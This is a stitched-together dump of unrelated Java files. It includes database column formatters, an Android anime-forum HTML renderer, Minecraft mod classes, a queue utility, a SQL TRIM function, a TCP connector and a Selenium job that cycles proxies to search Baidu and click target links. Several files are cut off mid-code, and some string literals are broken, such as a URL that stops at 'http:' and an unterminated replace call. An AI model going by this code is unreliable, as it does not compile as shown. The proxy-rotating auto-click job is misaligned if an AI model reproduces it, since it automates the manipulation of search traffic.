if (rs.getInt("COLUMN_SIZE") == 0) {
sb.append("18.").append(rs.getInt("DECIMAL_DIGITS"));
}
else {
sb.append(rs.getInt("COLUMN_SIZE")).append('.').append(rs.getInt("DECIMAL_DIGITS"));
}
}
else {
if (rs.getInt("COLUMN_SIZE") == 0) {
sb.append("30");
}
else if (rs.getInt("COLUMN_SIZE") > 50) {
sb.append("30");
}
else {
sb.append(rs.getInt("COLUMN_SIZE"));
}
}
if (rs.getInt("NULLABLE") != DatabaseMetaData.columnNullable) {
sb.append("m");
}
return sb.toString();
}
private static String buildColumnFormat(final ResultSetMetaData rsmd,final int columnIndex) throws SQLException {
final StringBuilder sb = new StringBuilder();
if (rsmd.getScale(columnIndex) != 0) {
if (rsmd.getPrecision(columnIndex) == 0) {
sb.append("18.").append(rsmd.getScale(columnIndex));
}
else {
sb.append(rsmd.getPrecision(columnIndex)).append('.').append(rsmd.getScale(columnIndex));
}
}
else {
if (rsmd.getPrecision(columnIndex) == 0) {
sb.append("30");
}
else if (rsmd.getPrecision(columnIndex) > 50) {
sb.append("30");
}
else {
sb.append(rsmd.getPrecision(columnIndex));
}
}
if (rsmd.isNullable(columnIndex) == ResultSetMetaData.columnNoNulls) {
sb.append("m");
}
return sb.toString();
}
private static ContentNodeMetadata buildSPIPluginMenuSubtree(final ContentNodeMetadata root, final String path) {
if (path.isEmpty()) {
return root;
}
else {
final int slashIndex = path.indexOf('/');
final String prefix = slashIndex == -1 ? path : path.substring(0,slashIndex), suffix = slashIndex == -1 ? "" : path.substring(slashIndex+1);
for (ContentNodeMetadata item : root) {
if (prefix.equals(item.getName())) {
return buildSPIPluginMenuSubtree(item,suffix);
}
}
final MutableContentNodeMetadata child = new MutableContentNodeMetadata(prefix
, String.class
, Constants.MODEL_NAVIGATION_NODE_PREFIX+'.'+prefix
, null
, prefix
, null
, null
, null
, null
, null);
((MutableContentNodeMetadata)root).addChild(child);
child.setParent(root);
return buildSPIPluginMenuSubtree(root,path);
}
}
private static String escapeBrackets(final String canonicalName) {
if (canonicalName.indexOf('[') < 0) {
return canonicalName;
}
else {
return canonicalName.replace("[","%5B").replace("]","%5D");
}
}
}
|
package net.somethingdreadful.MAL.forum;
import android.content.Context;
import android.webkit.WebView;
import net.somethingdreadful.MAL.DateTools;
import net.somethingdreadful.MAL.R;
import net.somethingdreadful.MAL.Theme;
import net.somethingdreadful.MAL.account.AccountService;
import net.somethingdreadful.MAL.api.BaseModels.Forum;
import java.io.InputStream;
import java.util.ArrayList;
import lombok.Getter;
import lombok.Setter;
public class ForumHTMLUnit {
final Context context;
WebView webView;
@Getter
@Setter
String forumMenuLayout;
final String forumMenuTiles;
final String forumListLayout;
final String forumListTiles;
final String forumCommentsLayout;
final String forumCommentsTiles;
final String spoilerStructure;
@Getter
@Setter
int id;
@Getter
@Setter
String page;
boolean subBoard = false;
public ForumHTMLUnit(Context context, WebView webview) {
this.context = context;
this.webView = webview;
forumMenuLayout = getResString(R.raw.forum_menu);
forumMenuTiles = getResString(R.raw.forum_menu_tiles);
forumListLayout = getResString(R.raw.forum_list);
forumListTiles = getResString(R.raw.forum_list_tiles);
forumCommentsLayout = getResString(R.raw.forum_comment);
forumCommentsTiles = getResString(R.raw.forum_comment_tiles);
spoilerStructure = getResString(R.raw.forum_comment_spoiler_structure);
}
public void setSubBoard(boolean subBoard) {
this.subBoard = subBoard;
}
public boolean getSubBoard() {
return this.subBoard;
}
public boolean menuExists() {
return !forumMenuLayout.contains("<!-- insert here the tiles -->");
}
private void loadWebview(String html) {
if (Theme.darkTheme) {
html = html.replace("#f2f2f2;", "#212121;"); // hover tags
html = html.replace("#FFF;", "#313131;"); // body
html = html.replace("#EEE;", "#212121;"); // body border
html = html.replace("#022f70;", "#0078a0;"); // selection tags
html = html.replace("#3E454F;", "#818181;"); // time ago
html = html.replace("markdown {", "markdown {color:#E3E3E3;"); // comment body color
}
html = html.replace("data:text/html,", "");
webView.loadData(html, "text/html; charset=utf-8", "UTF-8");
}
public void setForumMenu(ArrayList<Forum> menu) {
if (menu != null && menu.size() > 0) {
String forumArray = "";
String tempTile;
String description;
for (Forum item : menu) {
tempTile = forumMenuTiles;
description = item.getDescription();
if (item.getChildren() != null) {
tempTile = tempTile.replace("onClick=\"tileClick()\"", "");
description = description + " ";
for (int i = 0; i < item.getChildren().size(); i++) {
Forum child = item.getChildren().get(i);
description = description + "<a onClick=\"subTileClick(" + child.getId() + ")\">" + child.getName() + "</a>" + (i < item.getChildren().size() - 1 ? ", " : "");
}
} else {
tempTile = tempTile.replace("", String.valueOf(item.getId()));
}
tempTile = tempTile.replace("<!-- header -->", item.getName());
tempTile = tempTile.replace("<!-- description -->", description);
tempTile = tempTile.replace("<!-- last reply -->", context.getString(R.string.dialog_message_last_post));
forumArray = forumArray + tempTile;
}
forumMenuLayout = forumMenuLayout.replace("<!-- insert here the tiles -->", forumArray);
forumMenuLayout = forumMenuLayout.replace("<!-- title -->", "M 0"); // M = menu, 0 = id
}
if (menuExists())
loadWebview(forumMenuLayout);
}
public void setForumList(ArrayList<Forum> forumList) {
if (forumList != null && forumList.size() > 0) {
String tempForumList;
String forumArray = "";
String tempTile;
int maxPages = forumList.get(0).getMaxPages();
for (Forum item : forumList) {
tempTile = forumListTiles;
tempTile = tempTile.replace("", String.valueOf(item.getId()));
tempTile = tempTile.replace("<!-- title -->", item.getName());
if (item.getReply() != null) {
tempTile = tempTile.replace("<!-- username -->", item.getReply().getUsername());
tempTile = tempTile.replace("<!-- time -->", DateTools.parseDate(item.getReply().getTime(), true));
}
forumArray = forumArray + tempTile;
}
tempForumList = forumListLayout.replace("<!-- insert here the tiles -->", forumArray);
tempForumList = tempForumList.replace("<!-- title -->", (getSubBoard() ? "S " : "T ") + getId() + " " + maxPages); // T = Topics || S = subboard, id
if (Integer.parseInt(getPage()) == 1) {
tempForumList = tempForumList.replace("class=\"previous\"", "class=\"previous\" style=\"visibility: hidden;\"");
}
if (Integer.parseInt(getPage()) == maxPages) {
tempForumList = tempForumList.replace("class=\"next\"", "class=\"next\" style=\"visibility: hidden;\"");
}
tempForumList = tempForumList.replace("Forum.prevTopicList(" + getPage(), "Forum.prevTopicList(" + (Integer.parseInt(getPage()) - 1));
tempForumList = tempForumList.replace("Forum.nextTopicList(" + getPage(), "Forum.nextTopicList(" + (Integer.parseInt(getPage()) + 1));
tempForumList = tempForumList.replace("<!-- page -->", getPage());
tempForumList = tempForumList.replace("<!-- next -->", context.getString(R.string.next));
tempForumList = tempForumList.replace("<!-- previous -->", context.getString(R.string.previous));
loadWebview(tempForumList);
}
}
public void setForumComments(ArrayList<Forum> forumList) {
if (forumList != null && forumList.size() > 0) {
String tempForumList;
String rank;
String comment;
String forumArray = "";
String tempTile;
int maxPages = forumList.get(0).getMaxPages();
for (Forum item : forumList) {
rank = item.getProfile().getSpecialAccesRank(item.getUsername());
comment = item.getComment();
comment = convertComment(comment);
tempTile = forumCommentsTiles;
if (item.getUsername().equalsIgnoreCase(AccountService.getUsername()))
tempTile = tempTile.replace("fa-quote-right fa-lg\"", "fa-pencil fa-lg\" id=\"edit\"");
tempTile = tempTile.replace("<!-- username -->", item.getUsername());
tempTile = tempTile.replace("<!-- comment id -->", Integer.toString(item.getId()));
tempTile = tempTile.replace("<!-- time -->", DateTools.parseDate(item.getTime(), true));
tempTile = tempTile.replace("<!-- comment -->", comment);
if (item.getProfile().getAvatarUrl().contains("xmlhttp-loader"))
tempTile = tempTile.replace("<!-- profile image -->", "http://cdn.myanimelist.net/images/na.gif");
else
tempTile = tempTile.replace("<!-- profile image -->", item.getProfile().getAvatarUrl());
if (!rank.equals(""))
tempTile = tempTile.replace("<!-- access rank -->", rank);
else
tempTile = tempTile.replace("<span class=\"forum__mod\"><!-- access rank --></span>", "");
if (item.getChildren() != null) {
tempTile = tempTile.replace("<!-- child -->", getChildren(item.getChildren()));
}
forumArray = forumArray + tempTile;
}
tempForumList = forumCommentsLayout.replace("<!-- insert here the tiles -->", forumArray);
tempForumList = tempForumList.replace("<!-- title -->", "C " + getId() + " " + maxPages + " " + getPage()); // C = Comments, id, maxPages, page
if (Integer.parseInt(getPage()) == 1) {
tempForumList = tempForumList.replace("class=\"previous\"", "class=\"previous\" style=\"visibility: hidden;\"");
}
if (Integer.parseInt(getPage()) == maxPages) {
tempForumList = tempForumList.replace("class=\"next\"", "class=\"next\" style=\"visibility: hidden;\"");
}
tempForumList = tempForumList.replace("Forum.prevCommentList(" + getPage(), "Forum.prevCommentList(" + (Integer.parseInt(getPage()) - 1));
tempForumList = tempForumList.replace("Forum.nextCommentList(" + getPage(), "Forum.nextCommentList(" + (Integer.parseInt(getPage()) + 1));
tempForumList = tempForumList.replace("<!-- page -->", getPage());
tempForumList = tempForumList.replace("<!-- next -->", context.getString(R.string.next));
tempForumList = tempForumList.replace("<!-- previous -->", context.getString(R.string.previous));
if (!AccountService.isMAL()) {
tempForumList = tempForumList.replace("[b][/b]", "____");
tempForumList = tempForumList.replace("[i][/i]", "__");
tempForumList = tempForumList.replace("[s][/s]", "~~~~");
tempForumList = tempForumList.replace("[spoiler][/spoiler]", "~!!~");
tempForumList = tempForumList.replace("[url=][/url]", "[link](URL)");
tempForumList = tempForumList.replace("[img][/img]", "img220(URL)");
tempForumList = tempForumList.replace("[yt][/yt]", "youtube(ID)");
tempForumList = tempForumList.replace("[list][/list]", "1.");
tempForumList = tempForumList.replace("[size=][/size]", "
tempForumList = tempForumList.replace("[center][/center]", "~~~~~~");
tempForumList = tempForumList.replace("[quote][/quote]", ">");
tempForumList = tempForumList.replaceAll("webm(.+?),\"(.+?)\"\\);\\}", "webm$1,\"webm(URL)\"\\);}");
tempForumList = tempForumList.replaceAll("ulist(.+?),\"(.+?)\"\\);\\}", "ulist$1,\"- \"\\);}");
}
loadWebview(tempForumList);
}
}
private String getChildren(ArrayList<Forum> forumList) {
if (forumList != null && forumList.size() > 0) {
String rank;
String comment;
String forumArray = "";
String tempTile;
for (Forum item : forumList) {
rank = item.getProfile().getSpecialAccesRank(item.getUsername());
comment = item.getComment() == null ? "" : item.getComment();
comment = convertComment(comment);
tempTile = forumCommentsTiles;
tempTile = tempTile.replace("<div class=\"comment\">", "<div class=\"subComment\">");
if (item.getUsername().equalsIgnoreCase(AccountService.getUsername()))
tempTile = tempTile.replace("fa-quote-right fa-lg\"", "fa-pencil fa-lg\" id=\"edit\"");
tempTile = tempTile.replace("<!-- username -->", item.getUsername());
tempTile = tempTile.replace("<!-- comment id -->", Integer.toString(item.getId()));
tempTile = tempTile.replace("<!-- time -->", DateTools.parseDate(item.getTime(), true));
tempTile = tempTile.replace("<!-- comment -->", comment);
if (item.getProfile().getAvatarUrl().contains("xmlhttp-loader"))
tempTile = tempTile.replace("<!-- profile image -->", "http://cdn.myanimelist.net/images/na.gif");
else
tempTile = tempTile.replace("<!-- profile image -->", item.getProfile().getAvatarUrl());
if (!rank.equals(""))
tempTile = tempTile.replace("<!-- access rank -->", rank);
else
tempTile = tempTile.replace("<span class=\"forum__mod\"><!-- access rank --></span>", "");
if (item.getChildren() != null) {
tempTile = tempTile.replace("<!-- child -->", getChildren(item.getChildren()));
}
forumArray = forumArray + tempTile;
}
return forumArray;
}
return "";
}
public String convertComment(String comment) {
if (AccountService.isMAL()) {
comment = comment.replaceAll("<div class=\"spoiler\">((.|\\n)+?)<br>((.|\\n)+?)</span>((.|\\n)+?)</div>", spoilerStructure + "$3</div></input>");
comment = comment.replaceAll("<div class=\"hide_button\">((.|\\n)+?)class=\"quotetext\">((.|\\n)+?)</div>", spoilerStructure + "$3</input>");
comment = comment.replaceAll("@(\\w+)", "<font color=\"#022f70\"><b>@$1</b></font>");
} else {
comment = comment.replaceAll("(.*)>(.*)", "<div class=\"quotetext\">$2</div>");
comment = comment.replaceAll("`((.|\\n)+?)`", "<div class=\"codetext\">$1</div>");
comment = comment.replaceAll("__((.|\\n)+?)__", "<b>$1</b>");
comment = comment.replaceAll("~~~((.|\\n)+?)~~~", "<center>$1</center>");
comment = comment.replaceAll("~~((.|\\n)+?)~~", "<span style=\"text-decoration:line-through;\">$1</span>");
comment = comment.replaceAll("~!((.|\\n)+?)!~", spoilerStructure + "$1</div></input>");
comment = comment.replaceAll("\\[((.|\\n)+?)\\]\\(((.|\\n)+?)\\)", "<a href=\"$3\" rel=\"nofollow\">$1</a>");
comment = comment.replaceAll("href=\"(.+?)(#)(.+?)\"", "href=\"$1%23$3\""); // Replace to avoid conflicts.
comment = comment.replaceAll("href=\"(.+?)(_)(.+?)\"", "href=\"$1%5F$3\""); // Replace to avoid conflicts.
comment = comment.replaceAll("img(\\d.+?)\\((\\w.+?)\\)", "<img width=\"$1\" src=\"$2\">");
comment = comment.replaceAll("img\\((\\w.+?)\\)", "<img src=\"$1\">");
comment = comment.replaceAll("src=\"(.+?)(_)(.+?)\">", "src=\"$1%5F$3\">"); // Replace to avoid conflicts.
comment = comment.replaceAll("_((.|\\n)+?)_", "<i>$1</i>"); // This must be after the images else it will replace image urls!
comment = comment.replaceAll("(.*)##(.*)", "<h1>$2</h1>");
comment = comment.replaceAll("(.*)#(.*)", "<h1>$2</h1>");
comment = comment.replace("\n", "<br>");
comment = comment.replaceAll("@(\\w+)", "<font color=\"#022f70\"><b>@$1</b></font>");
}
return comment;
}
/**
* Get the string of the given resource file.
*
* @param resource The resource of which string we need
* @return String the wanted string
*/
@SuppressWarnings("StatementWithEmptyBody")
private String getResString(int resource) {
try {
InputStream inputStream = context.getResources().openRawResource(resource);
byte[] buffer = new byte[inputStream.available()];
while (inputStream.read(buffer) != -1) ;
return new String(buffer);
} catch (Exception e) {
Theme.logTaskCrash(this.getClass().getSimpleName(), "getResString(): " + resource, e);
}
return "";
}
}
|
package club.magicfun.aquila.job;
import java.util.List;
import java.util.concurrent.TimeUnit;
import org.openqa.selenium.By;
import org.openqa.selenium.NoSuchElementException;
import org.openqa.selenium.Proxy;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.Proxy.ProxyType;
import org.openqa.selenium.chrome.ChromeDriver;
import org.openqa.selenium.remote.CapabilityType;
import org.openqa.selenium.remote.DesiredCapabilities;
import org.openqa.selenium.support.ui.ExpectedCondition;
import org.openqa.selenium.support.ui.WebDriverWait;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.scheduling.annotation.Scheduled;
import org.springframework.stereotype.Component;
import club.magicfun.aquila.model.Agent;
import club.magicfun.aquila.model.Job;
import club.magicfun.aquila.model.MyLog;
import club.magicfun.aquila.service.AgentService;
import club.magicfun.aquila.service.MyLogService;
import club.magicfun.aquila.service.ScheduleService;
@Component
public class BaiduAutoClickJob {
private static final Logger logger = LoggerFactory.getLogger(BaiduAutoClickJob.class);
private static final String BAIDU_SEARCH_URL = "http:
private static final int AGENT_NUMBER_PER_TIME = 5;
private static final int WEBDRIVER_PAGE_TIMEOUT = 30;
//private static final String searchKeyword = "";
//private static final String[] targetLinkPartialTexts = {" ", "__-", ""};
//private static final String searchKeyword = "";
//private static final String[] targetLinkPartialTexts = {"", ""};
private static final String searchKeyword = "";
private static final String[] targetLinkPartialTexts = {"", "",""};
//private static final String searchKeyword = "";
//private static final String[] targetLinkPartialTexts = {"", "", "-"};
public static final long SLEEP_TIME = 2000l;
@Autowired
private ScheduleService scheduleService;
@Autowired
private AgentService agentService;
@Autowired
private MyLogService myLogService;
public BaiduAutoClickJob() {
super();
}
@Scheduled(cron = "0/15 * * * * ? ")
public void run(){
String className = this.getClass().getName();
Job job = scheduleService.findJobByClassName(className);
// determine if to run this job
if (job != null && job.isJobReadyToRun()) {
job = scheduleService.startJob(job);
logger.info("Job [" + job.getId() + "," + job.getClassName() + "] is started.");
List<Agent> activeAgents = agentService.findFewRecentActiveAgents(AGENT_NUMBER_PER_TIME);
for (Agent agent: activeAgents) {
boolean errorFlag = false;
WebDriver webDriver = null;
try {
logger.info("using agent:" + agent.getIPAndPort());
Proxy proxy = new Proxy();
proxy.setProxyType(ProxyType.MANUAL);
proxy.setHttpProxy(agent.getIPAndPort());
DesiredCapabilities capabilities = DesiredCapabilities.chrome();
capabilities.setCapability(CapabilityType.PROXY, proxy);
webDriver = new ChromeDriver(capabilities);
webDriver.manage().timeouts().pageLoadTimeout(WEBDRIVER_PAGE_TIMEOUT, TimeUnit.SECONDS);
int maxRetryCount = 10;
for (int retryIndex = 1; retryIndex < maxRetryCount; retryIndex++) {
String random1 = String.valueOf(Math.random());
String url = BAIDU_SEARCH_URL.replaceFirst("\\{KEYWORD\\}", searchKeyword).replaceFirst("\\{RANDOM\\}", random1);
webDriver.get(url);
try {
|
package com.InfinityRaider.AgriCraft.items;
import com.InfinityRaider.AgriCraft.utility.LogHelper;
import cpw.mods.fml.relauncher.Side;
import cpw.mods.fml.relauncher.SideOnly;
import net.minecraft.client.renderer.texture.IIconRegister;
import net.minecraft.creativetab.CreativeTabs;
import net.minecraft.item.Item;
public class ModItem extends Item {
public ModItem() {
super();
this.setCreativeTab(CreativeTabs.tabMaterials);
this.setMaxStackSize(64);
}
@Override
@SideOnly(Side.CLIENT)
public void registerIcons(IIconRegister reg) {
LogHelper.debug("registering icon for: " + this.getUnlocalizedName());
itemIcon = reg.registerIcon(this.getUnlocalizedName().substring(this.getUnlocalizedName().indexOf('.')+1));
}
}
|
// CloudCoder - a web-based pedagogical programming environment
// This program is free software: you can redistribute it and/or modify
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
package org.cloudcoder.app.client.view;
import com.google.gwt.event.dom.client.ChangeEvent;
import com.google.gwt.event.dom.client.ChangeHandler;
import com.google.gwt.user.client.ui.Composite;
import com.google.gwt.user.client.ui.FlowPanel;
import com.google.gwt.user.client.ui.InlineLabel;
import com.google.gwt.user.client.ui.IsWidget;
import com.google.gwt.user.client.ui.ListBox;
/**
* Editor for an enum field of a model object.
*
* @author David Hovemeyer
*/
public abstract class EditEnumField<ModelObjectType, EnumType extends Enum<EnumType>>
extends EditModelObjectField<ModelObjectType, EnumType> {
private class UI extends Composite {
private EnumType[] enumValues;
private ListBox listBox;
public UI() {
FlowPanel panel = new FlowPanel();
InlineLabel label = new InlineLabel(getDescription());
panel.add(label);
this.enumValues = enumCls.getEnumConstants();
this.listBox = new ListBox();
for (EnumType e : enumValues) {
listBox.addItem(e.toString());
}
/*
// Use a ChangeHandler to keep track of selecton changes
// and commit changes to the model object as appropriate.
listBox.addChangeHandler(new ChangeHandler() {
@Override
public void onChange(ChangeEvent event) {
int index = listBox.getSelectedIndex();
if (index >= 0 && index < enumValues.length) {
commit();
}
}
});
*/
panel.add(listBox);
initWidget(panel);
}
public void setEnumValue(EnumType value) {
int index = 0;
for (EnumType e : enumValues) {
if (e == value) {
break;
}
index++;
}
listBox.setItemSelected(index, true);
}
public EnumType getEnumValue() {
return enumValues[listBox.getSelectedIndex()];
}
}
private Class<EnumType> enumCls;
private UI ui;
public EditEnumField(String desc, Class<EnumType> enumCls) {
super(desc);
this.enumCls = enumCls;
this.ui = new UI();
}
/* (non-Javadoc)
* @see org.cloudcoder.app.client.view.EditModelObjectField#getUI()
*/
@Override
public IsWidget getUI() {
return ui;
}
/* (non-Javadoc)
* @see org.cloudcoder.app.client.view.EditModelObjectField#getHeightPx()
*/
@Override
public double getHeightPx() {
return EditStringField.HEIGHT_PX;
}
/* (non-Javadoc)
* @see org.cloudcoder.app.client.view.EditModelObjectField#commit()
*/
@Override
public void commit() {
setField(getModelObject(), ui.getEnumValue());
}
protected void onSetModelObject(ModelObjectType modelObj) {
ui.setEnumValue(getField(modelObj));
}
}
|
package org.voovan.tools.collection;
import java.lang.reflect.Array;
import java.util.ArrayList;
import java.util.Collection;
import java.util.LinkedList;
import java.util.List;
public class FixedQueue<E> {
private static final long serialVersionUID = -6271813154993569614L;
private int limit;
private LinkedList<E> queue = new LinkedList<E>();
public FixedQueue(int limit) {
this.limit = limit;
}
/**
* poll
*
* @param e
*/
public void offer(E e) {
while (queue.size() >= limit) {
queue.poll();
}
queue.offer(e);
}
public void set(E e, int position) {
queue.set(position, e);
}
public E get(int position) {
return queue.get(position);
}
public void clearAll() {
this.queue.clear();
}
public E getLast() {
return queue.peekLast();
}
public E getFirst() {
return queue.peekFirst();
}
public int getLimit() {
return limit;
}
public int size() {
return queue.size();
}
public boolean isEmpty(){
return queue.isEmpty();
}
public E removeLast() {
return queue.removeLast();
}
public E removeFirst() {
return queue.removeFirst();
}
public boolean removeFirst(E e) {
return queue.remove(e);
}
public E removeIndex(int index) {
return queue.remove(index);
}
public void addIndex(int index, E object) {
queue.add(index, object);
int i = 0;
while (queue.size() > limit) {
queue.poll();
i++;
}
}
public List<E> subList(int from, int to) {
from = from < 0 ? 0 : from;
to = to > size() ? size() - 1 : to;
return queue.subList(from, to);
}
public List<E> asList() {
return queue;
}
public FixedQueue<E> clone() {
FixedQueue<E> newOne = new FixedQueue<E>(this.limit);
newOne.addAll(queue);
return newOne;
}
public void addAll(Collection<E> datas) {
for(E e : datas) {
offer(e);
}
}
}
|
package com.agricraft.agricore.util;
import com.agricraft.agricore.core.AgriCore;
import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.StandardCopyOption;
import java.util.Collection;
import java.util.Objects;
import java.util.Set;
import java.util.function.Function;
import java.util.function.Predicate;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import org.reflections.Reflections;
import org.reflections.scanners.ResourcesScanner;
import org.reflections.util.ConfigurationBuilder;
public class ResourceHelper {
/**
* Copies all resources in the class path matching the given name predicate, as well as the file structure predicate to a new directory
*
* @param pathStream stream of all paths to scan
* @param nameFilter the predicate for the file name
* @param dirFilter the predicate for the file (directory) structure
* @param toFunction function specifying the destination where each file should be copied to
* @param overwrite specifies if files which already exist should be overwritten or not
*/
public static void copyResources(Stream<Path> pathStream, Predicate<String> nameFilter, Predicate<String> dirFilter, Function<String, Path> toFunction, boolean overwrite) {
ResourceHelper helper = new ResourceHelper(collectURLs(pathStream));
helper.findResources(nameFilter).stream()
.filter(dirFilter)
.forEach(r -> helper.copyResource(r, toFunction.apply(r), overwrite));
}
/**
* Collects URLs from a stream of paths
* Will catch Exceptions and log them in case of an invalid path
*
* @param pathStream stream of all paths to scan
* @return a collection of URLs representing the paths (except the invalid ones)
*/
private static Collection<URL> collectURLs(Stream<Path> pathStream) {
return pathStream.map(Path::toUri)
.map(uri -> {
URL url = null;
try {
url = uri.toURL();
} catch (MalformedURLException e) {
AgriCore.getLogger("AgriCraft").error("Unable to scan path");
AgriCore.getLogger("AgriCraft").trace(e);
}
return url;
})
.filter(Objects::nonNull)
.collect(Collectors.toList());
}
/**
* Reflections instance used to find jsons
*/
private final Reflections reflections;
/**
* The Reflections object can use quite some memory, therefore we instantiate a new one when we need it,
* and discard it afterwards
*/
protected ResourceHelper(Collection<URL> urls) {
this.reflections = new Reflections(
new ConfigurationBuilder()
.addScanners(new ResourcesScanner())
.addUrls(urls));
}
/**
* Finds all resources in the class path matching the given predicate
* @param nameFilter file name predicate
* @return set of all filenames matching the name filter
*/
protected Set<String> findResources(Predicate<String> nameFilter) {
return this.reflections.getResources(nameFilter::test);
}
/**
* Copies a file from inside the jar to the specified location outside the
* jar, retaining the file name. The default copy action is to not overwrite
* an existing file.
*
* @param from the location of the internal resource.
* @param to the location to copy the resource to.
* @param overwrite if the copy task should overwrite existing files.
*/
protected void copyResource(String from, Path to, boolean overwrite) {
try {
if (overwrite || !Files.exists(to)) {
Files.createDirectories(to.getParent());
Files.copy(this.getResourceAsStream(from), to, StandardCopyOption.REPLACE_EXISTING);
}
} catch (Exception e) {
AgriCore.getLogger("AgriCraft").error(
"Unable to copy Jar resource: \"{0}\" to: \"{1}\"!",
from,
to
);
e.printStackTrace();
}
}
/**
* Retrieves the requested resource by using the current thread's class
* loader or the AgriCore class loader.
*
* @param location the location of the desired resource stream.
* @return the resource, as a stream.
*/
protected InputStream getResourceAsStream(String location) {
InputStream in = Thread.currentThread().getContextClassLoader().getResourceAsStream(location);
return in != null ? in : ResourceHelper.class.getResourceAsStream(location);
}
}
|
package com.akiban.server.types3.common.funcs;
import com.akiban.server.types3.*;
import com.akiban.server.types3.pvalue.PValueSource;
import com.akiban.server.types3.pvalue.PValueTarget;
import com.akiban.server.types3.texpressions.TInputSetBuilder;
import com.akiban.server.types3.texpressions.TOverloadBase;
import java.util.List;
public abstract class Trim extends TOverloadBase {
// Described by TRIM(<trim_spec>, <char_to_trim>, <string_to_trim>
public static TOverload[] create(TClass stringType, TClass intType) {
TOverload rtrim = new Trim(stringType, intType) {
@Override
protected void doEvaluate(TExecutionContext context, LazyList<? extends PValueSource> inputs, PValueTarget output) {
String trim = (String) inputs.get(1).getObject();
String st = (String) inputs.get(2).getObject();
output.putObject(rtrim(st, trim));
}
@Override
public String overloadName() {
return "RTRIM";
}
};
TOverload ltrim = new Trim(stringType, intType) {
@Override
protected void doEvaluate(TExecutionContext context, LazyList<? extends PValueSource> inputs, PValueTarget output) {
String trim = (String) inputs.get(1).getObject();
String st = (String) inputs.get(2).getObject();
output.putObject(ltrim(st, trim));
}
@Override
public String overloadName() {
return "LTRIM";
}
};
TOverload trim = new Trim(stringType, intType) {
@Override
protected void doEvaluate(TExecutionContext context, LazyList<? extends PValueSource> inputs, PValueTarget output) {
int trimType = inputs.get(0).getInt32();
String trim = (String) inputs.get(1).getObject();
String st = (String) inputs.get(2).getObject();
if (trimType != RTRIM)
st = ltrim(st, trim);
if (trimType != LTRIM)
st = rtrim(st, trim);
output.putObject(st);
}
@Override
public String overloadName() {
return "TRIM";
}
};
return new TOverload[]{ltrim, rtrim, trim};
}
protected final int RTRIM = 0;
protected final int LTRIM = 1;
protected final TClass stringType;
protected final TClass intType;
private Trim(TClass stringType, TClass intType) {
this.stringType = stringType;
this.intType = intType;
}
@Override
protected void buildInputSets(TInputSetBuilder builder) {
builder.covers(intType, 0);
builder.covers(stringType, 1, 2);
}
@Override
public TOverloadResult resultType() {
// actual return type is exactly the same as input type
return TOverloadResult.fixed(stringType.instance());
}
// Helper methods
protected static String ltrim(String st, String trim) {
int n = 0;
while (n < st.length()) {
for (int i = 0; i < trim.length(); ++i, ++n) {
if (st.charAt(n) != trim.charAt(i))
return st.substring(n- i);
}
}
return st;
}
protected static String rtrim(String st, String trim) {
int n = st.length() - 1;
while (n >= 0) {
for (int i = trim.length()-1; i >= 0; --i, --n) {
if (st.charAt(n) != trim.charAt(i))
return st.substring(0, n + trim.length() - i);
}
}
return st;
}
}
|
package org.jgrapes.net;
import java.io.IOException;
import java.nio.channels.SocketChannel;
import org.jgrapes.core.Channel;
import org.jgrapes.core.Self;
import org.jgrapes.core.annotation.Handler;
import org.jgrapes.core.events.Error;
import org.jgrapes.io.NioHandler;
import org.jgrapes.io.events.Close;
import org.jgrapes.io.events.IOError;
import org.jgrapes.io.events.NioRegistration;
import org.jgrapes.io.events.OpenTcpConnection;
import org.jgrapes.net.events.Connected;
/**
* A component that reads from or write to a TCP connection.
*/
public class TcpConnector extends TcpConnectionManager {
private int bufferSize = 1536;
/**
* Create a new instance using the given channel.
*
* @param channel the component's channel
*/
public TcpConnector(Channel channel) {
super(channel);
}
/**
* Creates a new connector, using itself as component channel.
*/
public TcpConnector() {
this(Channel.SELF);
}
/**
* Sets the buffer size for the send an receive buffers.
* If no size is set, the system defaults will be used.
*
* @param size the size to use for the send and receive buffers
* @return the TCP connector for easy chaining
*/
public TcpConnector setBufferSize(int size) {
this.bufferSize = size;
return this;
}
/**
* Return the configured buffer size.
*
* @return the bufferSize
*/
public int bufferSize() {
return bufferSize;
}
/**
* Opens a connection to the end point specified in the event.
*
* @param event the event
*/
@Handler
public void onOpenConnection(OpenTcpConnection event) {
try {
SocketChannel socketChannel = SocketChannel.open(event.address());
channels.add(new TcpChannel(socketChannel));
} catch (IOException e) {
fire(new IOError(event, "Failed to open TCP connection.", e));
}
}
/**
* Called when the new socket channel has successfully been registered
* with the nio dispatcher.
*
* @param event the event
* @throws InterruptedException the interrupted exception
* @throws IOException Signals that an I/O exception has occurred.
*/
@Handler(channels = Self.class)
public void onRegistered(NioRegistration.Completed event)
throws InterruptedException, IOException {
NioHandler handler = event.event().handler();
if (!(handler instanceof TcpChannel)) {
return;
}
if (event.event().get() == null) {
fire(new Error(event, "Registration failed, no NioDispatcher?",
new Throwable()));
return;
}
TcpChannel channel = (TcpChannel) handler;
channel.registrationComplete(event.event());
channel.downPipeline()
.fire(new Connected(channel.nioChannel().getLocalAddress(),
channel.nioChannel().getRemoteAddress()), channel);
}
/**
* Shuts down the one of the connections.
*
* @param event the event
* @throws IOException if an I/O exception occurred
* @throws InterruptedException if the execution was interrupted
*/
@Handler
@SuppressWarnings("PMD.DataflowAnomalyAnalysis")
public void onClose(Close event) throws IOException, InterruptedException {
for (Channel channel : event.channels()) {
if (channel instanceof TcpChannel && channels.contains(channel)) {
((TcpChannel) channel).close();
}
}
}
}
|
package com.akiban.sql.pg;
import com.akiban.sql.StandardException;
import com.akiban.sql.optimizer.OperatorCompiler;
import com.akiban.sql.optimizer.plan.BasePlannable;
import com.akiban.sql.optimizer.plan.PhysicalSelect;
import com.akiban.sql.optimizer.plan.PhysicalSelect.PhysicalResultColumn;
import com.akiban.sql.optimizer.plan.PhysicalUpdate;
import com.akiban.sql.optimizer.plan.ResultSet.ResultField;
import com.akiban.sql.optimizer.rule.BaseRule;
import com.akiban.sql.parser.*;
import com.akiban.sql.types.DataTypeDescriptor;
import com.akiban.ais.model.Column;
import com.akiban.server.error.ParseException;
import com.akiban.server.service.EventTypes;
